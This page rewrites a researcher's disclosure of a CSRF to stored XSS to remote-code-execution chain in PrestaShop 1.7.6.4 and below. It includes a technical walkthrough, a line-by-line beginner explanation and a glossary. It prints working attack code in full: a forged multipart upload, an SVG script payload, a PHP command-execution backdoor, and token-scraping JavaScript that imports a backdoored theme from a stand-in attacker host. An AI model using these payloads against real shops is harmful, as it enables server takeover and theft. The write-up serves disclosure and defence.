CSRF to RCE bug chain in Prestashop v1.7.6.4 and below
The file manager allowed SVG uploads with JavaScript and lacked a CSRF token, so an attacker could force a user with 'Products Edit' permission to upload a malicious SVG. The stored XSS then used the admin's session to import a theme ZIP containing a PHP backdoor, leading to remote code execution.
Published on blog.stazot.com
This article is about a CSRF, XSS bug chain that is then escalated to Remote Code Execution as an unauthenticated attacker, in Prestashop (unpatched as of 18/04/2020). When the admin opens a link, the chain gets executed and the server gets pwned.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
PrestaShop is an open-source e-commerce platform. This write-up covers a bug chain in PrestaShop v1.7.6.4 and below, unpatched as of 18 April 2020, that turns a cross-site request forgery in the file manager into stored cross-site scripting and then into remote code execution. The attacker does not need an account: the chain runs when a logged-in administrator opens a link, and the server ends up with an attacker-controlled PHP file on disk.
The two features involved are the file manager, which lets a user upload media files, and the theme import function, which lets an administrator upload a theme as a ZIP archive, either from the local computer or from a URL.
Setup
The researcher audited PrestaShop and tested against a local installation reachable at prestashop.localhost-windows.com, with the administration panel under a randomised path (/admin501to49xz/). The file manager upload endpoint used in the proof of concept is:
http://prestashop.localhost-windows.com/admin501to49xz/filemanager/upload.php
The CSRF proof of concept was generated with Burp Suite Professional. The only precondition for the first step is that the victim holds the 'Products Edit' permission, because that is the permission required to upload files through the file manager. The final step imports the theme using the victim's session, which the XSS payload drives on the victim's behalf.
Finding it
The file manager accepts the following extensions:
jpg, jpeg, png, gif, bmp, tiff, svg, pdf, mov, mpeg, mp4, avi, mpg, wma, flv, webm
SVG is on that list, and SVG documents can carry JavaScript. The researcher uploaded a minimal SVG to see whether the script would run:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" />
The file lands at http://target.server/img/cms/evil.svg, and when it is opened the JavaScript executes and the alert box pops. On its own this is limited: only users with 'Products Edit' permission can upload the SVG, so an attacker would need that permission to exploit it directly.
The more interesting observation came from comparing the upload request with the rest of the application. Unlike other requests, the file upload request carried no CSRF token. That means the request can be forged from another origin, which turns the stored XSS into something an unauthenticated attacker can trigger against a logged-in user.
Exploitation
Step 1: forge the SVG upload with CSRF
The researcher built a CSRF proof of concept that submits the multipart upload through XMLHttpRequest with credentials included:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/prestashop.localhost-windows.com\/admin501to49xz\/filemanager\/upload.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
xhr.withCredentials = true;
var body = "-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path_thumb\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"poc.svg\"\r\n" +
"Content-Type: image/svg+xml\r\n" +
"\r\n" +
"\x3csvg xmlns=\"http://www.w3.org/2000/svg\" /\x3e\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
</body>
</html>
The request posts to upload.php in the file manager with three multipart fields: path, path_thumb and file. The file part is named poc.svg and sent with Content-Type: image/svg+xml. xhr.withCredentials = true makes the browser attach the victim's session cookies to the cross-origin request, which is what makes the forgery work. The body is converted byte by byte into a Uint8Array and sent as a Blob.
When a user with 'Products Edit' permission visits the page, the request is submitted automatically in the background and poc.svg is uploaded. At this point the attacker has an unauthenticated stored XSS chain: the payload file sits on the target server and runs in the origin of the shop when loaded.
Step 2: find a way to get PHP onto the server
Most CMSs let an administrator or superuser upload PHP files, but PrestaShop does not allow even the admin to do so. The researcher therefore looked for another route and found the 'Import Theme' functionality, where an administrator uploads a ZIP file from the computer or from a link.
The plan was to put a PHP file inside the ZIP and upload it. The initial assumption was that PrestaShop would strip the PHP file, so the fallback plan was to locate where the temporary files are extracted and race requests against the deletion. That was not necessary: PrestaShop did not delete the PHP file. The ZIP is extracted and the PHP file is placed in the theme directory, at:
http://target.server/themes/{theme-name}/backdoor.php
To build the archive, the researcher downloaded a PrestaShop theme ZIP from PrestaShop's GitHub (https://github.com/PrestaShop/classic-rocket), created a PHP file with a simple backdoor and added it to the ZIP:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Step 3: drive the theme import from the XSS
The SVG payload is extended with JavaScript that fetches the CSRF token for the theme import and then imports the modified ZIP. It loads jQuery from the Google CDN and runs two $.get calls before the upload:
<script xlink:href="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
$.ajaxSetup({async: false});
var target = 'http://localhost'; //change this
var admin_url = '/admin123ab45cd'; //change this
var theme_url = 'http://evil.server/backdoor-theme.zip'; //change this
var import_url = '';
var import_token = '';
$.get(target+admin_url+'/index.php/improve/design/themes/import', function( my_var0 ) {
var tmp = my_var0.match(/_token(.{44})/g);
tmp = tmp.toString().split("=");
tmp = tmp[1];
import_url = target+admin_url+'/improve/design/themes/import?_token='+tmp;
}, 'html');
$.get(import_url, function( my_var1 ) {
var tmp = my_var1.match(/import_theme__token(.{101})/g);
tmp = tmp.toString().split(' ');
tmp = tmp[3].toString().split('=\"');
import_token = tmp[1];
}, 'html');
var themeUploadData = new FormData();
themeUploadData.append('import_theme[import_from_web]', theme_url);
themeUploadData.append('import_theme[_token]', import_token);
$.ajax({
url: import_url,
data: themeUploadData,
cache: false,
contentType: false,
processData: false,
method: 'POST'
});
</script>
The final $.ajax POSTs a FormData body with two fields: import_theme[import_from_web], set to the attacker-hosted ZIP, and import_theme[_token], set to the extracted token.
Step 4: chain it together
As an unauthenticated attacker, the chain is started by exploiting the file upload CSRF to place the SVG file containing the JavaScript payload on the server. An iframe is then loaded on the page, which loads the uploaded SVG file. The SVG executes the JavaScript payload, which imports the theme from the attacker's server. When the chain completes, backdoor.php is on the server.
Pwned!
Proof of concept
The single-click RCE proof of concept and the full advisory are published at:
https://packetstormsecurity.com/files/157277/Prestashop-[redacted]-XSS-CSRF-Remote-Code-Execution.htmlhttps://seclists.org/fulldisclosure/2020/Apr/26https://stazot.com/prestashop-csrf-to-rce/
The exploit itself is at https://github.com/staz0t/exploits/blob/master/[redacted].html.
Root cause
Two design mistakes combine here. First, the file manager accepts SVG, an active content format that can carry JavaScript, and the uploaded SVG executes its script when opened. Second, the file upload request carries no CSRF token, unlike other requests in the application, so a third-party page can submit it with the victim's cookies attached. The permission check on the upload ('Products Edit') does not help, because the forged request is made by a user who already holds that permission.
The theme import then turns the resulting script execution into code execution. The import extracts the uploaded ZIP into the theme directory without removing PHP files, so a PHP file inside the archive survives extraction and becomes reachable under /themes/{theme-name}/. The import form is protected by a token, but the XSS payload fetches that token from the page before submitting the form, so the token does not stop the attack.
Impact
An unauthenticated attacker can take over a PrestaShop installation when a user with 'Products Edit' permission opens a crafted link, and the chain then imports a theme containing a backdoor, giving command execution on the server. The victim needs that permission for the first step, and the theme import runs with the victim's session. The report describes the issue as unpatched as of 18 April 2020 for PrestaShop v1.7.6.4 and below.
Fix
The report does not describe a patch. Based on the chain, the upload endpoint should require a CSRF token like the rest of the application, and SVG should either not be accepted or not be served inline from the shop's origin. The theme import should reject or strip executable file types such as PHP when extracting an archive, so that an imported theme cannot place code in the theme directory.
Variants to test
- Check other file manager upload endpoints for a missing CSRF token. A positive result is an upload that succeeds from a cross-origin page with the victim's cookies and no token in the request.
- Try other active content types in upload allowlists, such as SVG or HTML, and open the uploaded file from the application's origin. A positive result is script execution in the shop's origin.
- Test archive import features (themes, modules, language packs) with a PHP file inside the archive. A positive result is the file appearing under a web-reachable path after extraction.
- Check whether import and other admin forms can have their tokens read by same-origin script, as the theme import token was here. A positive result is a token that a script running in the shop's origin can extract and replay.
What happened, in plain words
PrestaShop is a piece of software that lets people run an online shop. It is open source, which means anyone can download its code and look at it. This article is about a chain of three separate weaknesses in PrestaShop version 1.7.6.4 and older versions, which together let an attacker take control of a shop's server. The chain was still unpatched on 18 April 2020, the date the researcher published it.
The attacker does not need a username or password on the shop. Instead, the attacker builds a web page and sends its link to someone who works in the shop's administration area. When that person opens the link, their browser quietly does a few things on the shop's server, and the server ends up holding a small program that the attacker can use to run commands on it.
Three ideas appear again and again below, so here they are up front.
- A cookie is a small piece of text that a website asks your browser to keep and send back on every later request to that site. It is how the site remembers that you are logged in. Think of it as a wristband you get at a venue: the door staff check it, not your face.
- A token (often called a CSRF token) is a secret value that a website puts inside a form. When the form is submitted, the site checks that the value matches what it expected. It is like a cloakroom ticket: the staff only hand your coat back if you show the matching ticket, so someone who did not get a ticket cannot collect your coat.
- Cross-site request forgery (CSRF) is a trick where an attacker's page makes your browser send a request to another site while you are logged in there. Your browser automatically attaches that site's cookies, so the other site thinks the request came from you. If the request has no token to check, the site cannot tell the difference.
The two PrestaShop features involved are the file manager, which lets a shop user upload pictures and other media, and the theme import function, which lets an administrator upload a theme (a package of files that changes how the shop looks) either from their own computer or from a web address.
Setting the scene
The researcher tested against a local copy of PrestaShop, reachable at prestashop.localhost-windows.com. The administration panel was installed under a randomised folder name, /admin501to49xz/, which is a common precaution: if the folder name is hard to guess, it is harder to find the login page. The file manager's upload address used in the proof of concept is:
http://prestashop.localhost-windows.com/admin501to49xz/filemanager/upload.php
This is the address the browser sends the uploaded file to. upload.php is a small program on the server that receives the file and stores it.
The CSRF proof of concept was generated with Burp Suite Professional, a tool that security testers use to watch and replay the requests a browser makes.
The only condition for the first step is that the victim has the 'Products Edit' permission. Permissions are the individual rights a shop account is given, such as being allowed to change products. Uploading through the file manager requires that right. The last step imports the theme using the victim's own logged-in session, and the malicious script does that on the victim's behalf.
Finding the first weakness
The file manager accepts these file extensions:
jpg, jpeg, png, gif, bmp, tiff, svg, pdf, mov, mpeg, mp4, avi, mpg, wma, flv, webm
An extension is the part of a filename after the dot, and it tells the site what kind of file it is. Most of these are ordinary pictures and videos. The interesting one is SVG. An SVG file is a picture format, but unlike a JPEG it is written as text that a browser reads and draws, and that text can include JavaScript. JavaScript is the programming language that web pages run inside your browser. So an SVG is not just a picture: it can be a small program that runs when someone opens it.
The researcher uploaded a tiny SVG to see whether its script would run:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" />
Line by line: <svg ... /> starts and ends an SVG image in one go. xmlns="http://www.w3.org/2000/svg" says which standard the file follows, so the browser knows it is an SVG. onload="alert(1)" means "when this image has finished loading, run the JavaScript alert(1)", and alert(1) makes the browser show a small pop-up box with the number 1 in it. It is the simplest way to prove that script is running.
The file lands at http://target.server/img/cms/evil.svg, and when it is opened the JavaScript executes and the alert box pops. img/cms is the folder where the uploaded file lands.
On its own this is limited: only users with the 'Products Edit' permission can upload the SVG, so an attacker would need that permission to exploit it directly. The researcher needed a way to make someone else's browser do the upload.
That way came from comparing the upload request with the rest of the application. Unlike other requests, the file upload request carried no CSRF token. Remember the cloakroom ticket: the site was accepting the upload without asking for the matching ticket. That means the request can be forged from another website, which turns the stored XSS into something an unauthenticated attacker can trigger against a logged-in user. Stored XSS (cross-site scripting) means the attacker's script is saved on the server and runs later, in the browser of whoever opens the saved file, as if it were part of the shop.
Exploitation
Step 1: forge the SVG upload with CSRF
The researcher built a CSRF proof of concept: a web page that submits the upload through XMLHttpRequest, a browser feature that lets a page send requests in the background without reloading, with credentials included:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/prestashop.localhost-windows.com\/admin501to49xz\/filemanager\/upload.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
xhr.withCredentials = true;
var body = "-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path_thumb\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"poc.svg\"\r\n" +
"Content-Type: image/svg+xml\r\n" +
"\r\n" +
"\x3csvg xmlns=\"http://www.w3.org/2000/svg\" /\x3e\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
</body>
</html>
Line by line:
<html>,<body>and<script>are the ordinary building blocks of a web page. The comment says the page was generated by Burp Suite Professional.function submitRequest()defines a block of code that will be run when called.var xhr = new XMLHttpRequest();creates the background request object.xhr.open("POST", "...upload.php", true)prepares a POST request. POST is the method browsers use to send data to a server, as opposed to GET, which asks for a page. The address is the file manager's upload program, with the slashes escaped as\/because the code is inside a JavaScript string.- A boundary is a made-up string that separates the parts of the body, so the server knows where one field ends and the next begins.
- The
bodyvariable is built as one long string. It contains three parts, each introduced by the boundary: a field namedpath, a field namedpath_thumb, and a field namedfilewith the filenamepoc.svgand the typeimage/svg+xml. The\r\nsequences are the carriage return and line feed characters that mark the end of a line in this format. The file's content is\x3csvg xmlns=\"http://www.w3.org/2000/svg\" /\x3e, where\x3cand\x3eare the characters<and>, so the uploaded file is an empty SVG. var aBody = new Uint8Array(body.length);creates a byte array the same length as the string. A byte is one unit of data; aUint8Arrayis a list of bytes.- The
forloop copies each character of the string into the byte array one by one withcharCodeAt(i), which returns the numeric code of a character. xhr.send(new Blob([aBody]));sends the bytes as a Blob, which is a chunk of raw binary data. Sending raw bytes avoids the browser changing the text on the way out.submitRequest();calls the function, so the request goes out as soon as the page loads.
When a user with the 'Products Edit' permission visits the page, the request is submitted automatically in the background and poc.svg is uploaded. At this point the attacker has an unauthenticated stored XSS chain: the payload file sits on the target server and runs in the origin of the shop when loaded. The origin is the combination of scheme, host and port (roughly, the site's address); scripts from one origin are trusted to read and act on that same origin, which is why a script stored on the shop can do things on the shop.
Step 2: find a way to get PHP onto the server
Most content management systems (CMSs, the software used to build and run websites) let an administrator or superuser upload PHP files, but PrestaShop does not allow even the admin to do so. PHP is the programming language PrestaShop itself is written in, and a PHP file placed on the server is executed by the server when someone requests it. That is why uploading one is dangerous: it is not a picture the server shows, it is a program the server runs.
The researcher therefore looked for another route and found the 'Import Theme' functionality, where an administrator uploads a ZIP file from the computer or from a link. A ZIP file is an archive: a single file that contains many files inside it, like a box with several items packed in.
The plan was to put a PHP file inside the ZIP and upload it. The initial assumption was that PrestaShop would strip the PHP file, so the fallback plan was to locate where the temporary files are extracted and race requests against the deletion. That was not necessary: PrestaShop did not delete the PHP file. The ZIP is extracted (unpacked) and the PHP file is placed in the theme directory, at:
http://target.server/themes/{theme-name}/backdoor.php
{theme-name} stands for the name of the imported theme, and backdoor.php is the file the attacker added. A backdoor is a small program that lets an outsider run commands on a machine later, without going through the normal login.
To build the archive, the researcher downloaded a PrestaShop theme ZIP from PrestaShop's GitHub (https://github.com/PrestaShop/classic-rocket), created a PHP file with a simple backdoor and added it to the ZIP:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Line by line: if(isset($_REQUEST['cmd'])) checks whether the request contains a value named cmd; $_REQUEST is PHP's way of reading values sent by the browser. If it does, echo "<pre>"; prints an opening tag that makes output display in a fixed-width block. $cmd = ($_REQUEST['cmd']); stores the value in a variable. system($cmd); asks the operating system to run that value as a command and prints the result. echo "</pre>"; closes the block, and die; stops the script. In short: whoever can reach this file can run any command on the server by adding ?cmd= to its address.
Step 3: drive the theme import from the XSS
The SVG payload is extended with JavaScript that fetches the CSRF token for the theme import and then imports the modified ZIP. It loads jQuery from the Google CDN and runs two $.get calls before the upload. jQuery is a widely used JavaScript library that makes sending requests and handling pages shorter to write; a CDN (content delivery network) is a service that hosts files so other sites can load them quickly.
<script xlink:href="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
$.ajaxSetup({async: false});
var target = 'http://localhost'; //change this
var admin_url = '/admin123ab45cd'; //change this
var theme_url = 'http://evil.server/backdoor-theme.zip'; //change this
var import_url = '';
var import_token = '';
$.get(target+admin_url+'/index.php/improve/design/themes/import', function( my_var0 ) {
var tmp = my_var0.match(/_token(.{44})/g);
tmp = tmp.toString().split("=");
tmp = tmp[1];
import_url = target+admin_url+'/improve/design/themes/import?_token='+tmp;
}, 'html');
$.get(import_url, function( my_var1 ) {
var tmp = my_var1.match(/import_theme__token(.{101})/g);
tmp = tmp.toString().split(' ');
tmp = tmp[3].toString().split('=\"');
import_token = tmp[1];
}, 'html');
var themeUploadData = new FormData();
themeUploadData.append('import_theme[import_from_web]', theme_url);
themeUploadData.append('import_theme[_token]', import_token);
$.ajax({
url: import_url,
data: themeUploadData,
cache: false,
contentType: false,
processData: false,
method: 'POST'
});
</script>
Line by line:
- The first
<script>tag loads jQuery from Google's CDN. Thexlink:hrefattribute is how an SVG refers to an outside resource. - The three
varlines are settings the attacker fills in:targetis the shop's address,admin_urlis the administration folder, andtheme_urlis where the attacker's ZIP is hosted. The comments say//change thisbecause each attacker changes them for their target. import_urlandimport_tokenstart empty and are filled in by the next steps.- The first
$.get(...)asks the shop for the theme import page. When the response arrives, the function receives it asmy_var0.'html'at the end says the response is HTML, the language web pages are written in. matchreturns the pieces it found, andgmeans find all of them.tmp.toString().split("=")turns the result into text and splits it at the=sign, because the token follows an equals sign in the page.tmp = tmp[1];keeps the part after the equals sign, which is the token itself.import_url = target+admin_url+'/index.php/improve/design/themes/import?_token='+tmp;builds the address of the import page with the token attached as a query parameter, the part of a URL after?.- The second
$.get(...)loads that address and receives the page asmy_var1. It searches forimport_theme__tokenfollowed by 101 characters, which is the token inside the import form itself. It then splits the result at spaces and at=\"to isolate the token value, and stores it inimport_token. var themeUploadData = new FormData();creates a form-shaped container.FormDatais the browser's built-in way to build the kind of body a form would send.themeUploadData.append('import_theme[import_from_web]', theme_url);adds the field that tells the shop to import a theme from a web address, set to the attacker's ZIP.themeUploadData.append('import_theme[_token]', import_token);adds the token that was just extracted.$.ajax({...})sends the final request.urlis the import address,datais the form data,cache: falsestops the browser reusing an old response,contentType: falseandprocessData: falsetell jQuery to send the form data exactly as built rather than reformatting it, andmethod: 'POST'sends it as a POST.
The script fetches the CSRF token for the theme import and then imports the modified ZIP file to the server.
Step 4: chain it together
As an unauthenticated attacker, the chain is started by exploiting the file upload CSRF to place the SVG file containing the JavaScript payload on the server. An iframe is a page inside a page; loading one on the attacker's page makes the browser fetch the uploaded SVG. The SVG executes the JavaScript payload, which imports the theme from the attacker's server. When the chain completes, backdoor.php is on the server.
Pwned!
Proof of concept
The single-click RCE proof of concept and the full advisory are published at:
https://packetstormsecurity.com/files/157277/Prestashop-[redacted]-XSS-CSRF-Remote-Code-Execution.htmlhttps://seclists.org/fulldisclosure/2020/Apr/26https://stazot.com/prestashop-csrf-to-rce/
The exploit itself is at https://github.com/staz0t/exploits/blob/master/[redacted].html.
Root cause
Two design mistakes combine here. First, the file manager accepts SVG, an active content format that can carry JavaScript, and the uploaded SVG executes its script when opened. Second, the file upload request carries no CSRF token, unlike other requests in the application, so a third-party page can submit it with the victim's cookies attached. The permission check on the upload ('Products Edit') does not help, because the forged request is made by a user who already holds that permission.
The theme import then turns the resulting script execution into code execution. The import extracts the uploaded ZIP into the theme directory without removing PHP files, so a PHP file inside the archive survives extraction and becomes reachable under /themes/{theme-name}/. The import form is protected by a token, but the XSS payload fetches that token from the page before submitting the form, so the token does not stop the attack.
Impact
An unauthenticated attacker can take over a PrestaShop installation when a user with the 'Products Edit' permission opens a crafted link, and the chain then imports a theme containing a backdoor, giving command execution on the server. The victim needs that permission for the first step, and the theme import runs with the victim's session. The report describes the issue as unpatched as of 18 April 2020 for PrestaShop v1.7.6.4 and below.
Fix
The report does not describe a patch. Based on the chain, the upload endpoint should require a CSRF token like the rest of the application, and SVG should either not be accepted or not be served inline from the shop's origin. The theme import should reject or strip executable file types such as PHP when extracting an archive, so that an imported theme cannot place code in the theme directory.
Variants to test
- Check other file manager upload endpoints for a missing CSRF token. A positive result is an upload that succeeds from a cross-origin page with the victim's cookies and no token in the request.
- Try other active content types in upload allowlists, such as SVG or HTML, and open the uploaded file from the application's origin. A positive result is script execution in the shop's origin.
- Test archive import features (themes, modules, language packs) with a PHP file inside the archive. A positive result is the file appearing under a web-reachable path after extraction.
- Check whether import and other admin forms can have their tokens read by same-origin script, as the theme import token was here. A positive result is a token that a script running in the shop's origin can extract and replay.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a menu of requests a program accepts.
- Backdoor: a small program left on a server that lets an outsider run commands later without logging in normally.
- Blob: a chunk of raw binary data in the browser, used when sending files or bytes.
- Boundary: a made-up string that separates the parts of a multipart form body so the server can tell them apart.
- Byte: one unit of digital data; a
Uint8Arrayis a list of bytes. - CDN (content delivery network): a service that hosts files so other sites can load them quickly.
- CMS (content management system): software for building and running a website, such as PrestaShop for shops.
- Cookie: a small piece of text a site asks your browser to keep and send back on later requests, used to remember that you are logged in.
- CSRF (cross-site request forgery): a trick where an attacker's page makes your browser send a request to another site while you are logged in there, so the site thinks the request came from you.
- CSRF token: a secret value placed in a form and checked on submission, so a request forged from another site cannot succeed.
- Extension: the part of a filename after the dot, which tells the site what kind of file it is.
- FormData: the browser's built-in way to build the kind of body a form would send.
- GET / POST: the two common request methods; GET asks for a page, POST sends data to the server.
- HTML: the language web pages are written in.
- iframe: a page embedded inside another page.
- JavaScript: the programming language web pages run inside your browser.
- jQuery: a widely used JavaScript library that makes sending requests and handling pages shorter to write.
- Multipart form: the format browsers use to send a form that contains a file, with each field separated by a boundary.
- Origin: the combination of scheme, host and port of a site; scripts from one origin are trusted to act on that same origin.
- Permission: an individual right given to a shop account, such as being allowed to change products.
- PHP: the programming language PrestaShop is written in; a PHP file on the server is executed by the server when requested.
- RCE (remote code execution): running your own commands on someone else's server over the network.
- Regex: a pattern used to search text, such as
/_token(.{44})/g. - Session: the logged-in state a site keeps for you, usually tied to a cookie.
- Stored XSS (cross-site scripting): an attacker's script saved on the server that runs later in the browser of whoever opens the saved file, as if it were part of the site.
- SVG: a picture format written as text that a browser reads and draws, which can include JavaScript.
- Theme: a package of files that changes how a shop looks, uploaded as an archive.
- Token: a secret value a site puts in a form and checks on submission; see CSRF token.
- XMLHttpRequest: a browser feature that lets a page send requests in the background without reloading.
- XSS (cross-site scripting): getting an attacker's JavaScript to run in another site's origin.
- ZIP file: an archive, a single file that contains many files inside it.